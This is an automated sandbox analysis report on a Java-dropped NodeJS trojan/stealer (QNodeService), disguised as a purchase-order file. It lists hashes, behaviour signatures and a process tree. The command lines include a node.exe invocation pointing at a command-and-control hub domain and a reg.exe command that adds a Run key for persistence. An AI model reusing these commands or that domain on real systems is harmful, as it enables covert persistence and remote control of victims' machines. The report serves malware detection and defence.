Analysis

  • max time kernel
    147s
  • max time network
    138s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    15-10-2020 11:55

General

  • Target

    PO#361609.jar

  • Size

    137KB

  • MD5

    e527e094c523bae39ead12ea9a341a87

  • SHA1

    bd040811292b98a266a794fa1db728c4852ef8ae

  • SHA256

    1818155d1ed800bb6070132cae82038553cfa16f12a1ee12a0395305241f44c5

  • SHA512

    b71864da5f9fed6d7c18fefdd748f3047d8895dd4d41febc873be06a4e1a4b112a1db7f9aaed9827c779f0cd4bc3da4efb86d235d99f84ed93a52334a7bb317f

Malware Config

Signatures

  • QNodeService

    Trojan/stealer written in NodeJS and spread via Java downloader.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • JavaScript code in executable 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar C:\Users\Admin\AppData\Local\Temp\PO#361609.jar
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3768
    • C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\ef1b7bac.tmp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2076
      • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain holdlozx.riepsol.com --hub-domain localhost
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3844
        • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
          C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_DKCwFF\boot.js --hub-domain holdlozx.riepsol.com --hub-domain localhost
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1648
          • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
            C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_DKCwFF\boot.js --hub-domain holdlozx.riepsol.com --hub-domain localhost
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1956
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "aedb60b4-0ee9-4fc3-9de1-900c65c06f43" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.9-beta\boot.vbs\"""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:2264
              • C:\Windows\system32\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "aedb60b4-0ee9-4fc3-9de1-900c65c06f43" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.9-beta\boot.vbs\""
                7⤵
                • Adds Run key to start application
                PID:3692

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1648-171-0x0000037AC55C0000-0x0000037AC55C1000-memory.dmp

    Filesize

    4KB

  • memory/1956-175-0x000002207A500000-0x000002207A501000-memory.dmp

    Filesize

    4KB

  • memory/3844-168-0x0000010594100000-0x0000010594101000-memory.dmp

    Filesize

    4KB